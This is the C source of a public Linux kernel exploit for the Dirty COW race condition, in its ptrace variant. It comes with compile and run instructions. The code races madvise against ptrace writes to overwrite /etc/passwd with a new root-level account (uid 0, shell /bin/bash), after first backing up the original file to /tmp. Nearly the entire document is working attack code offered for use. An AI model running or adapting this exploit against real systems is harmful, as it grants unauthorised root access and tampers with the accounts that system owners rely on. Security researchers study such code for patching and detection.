Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation

//
// This exploit uses the pokemon exploit as a base and automatically
// generates a new passwd line. The original /etc/passwd is then
// backed up to /tmp/passwd.bak and overwritten with the new line.
// The user will be prompted for the new password when the binary is run.
// After running the exploit you should be able to login with the newly
// created user.
//
// Original exploit:
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// To use this exploit modify the user values according to your needs
//
// Compile with
//
// gcc -pthread dirty.c -o dirty -lcrypt
//
// and just run the newly create binary with ./dirty
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT !
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
 
 
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
 
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
 
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
 
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};
 
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}
 
char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}
 
void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }
 
  char ch;
  FILE *source, *target;
 
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }
 
  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }
 
  printf("%s successfully backed up to %s\n",
    from, to);
 
  fclose(source);
  fclose(target);
 
  return 0;
}
 
int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }
 
  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";
 
  char *plaintext_pw = getpass("Please enter new password: ");
  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);
 
  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }
 
  printf("Done! Check %s to see if the new user was created\n", filename);
  printf("You can log in with username %s and password %s.\n\n",
    user.username, plaintext_pw);
  printf("\nDON'T FORGET TO RESTORE %s FROM %s !!!\n\n",
    filename, backup_filename);
  return 0;
}

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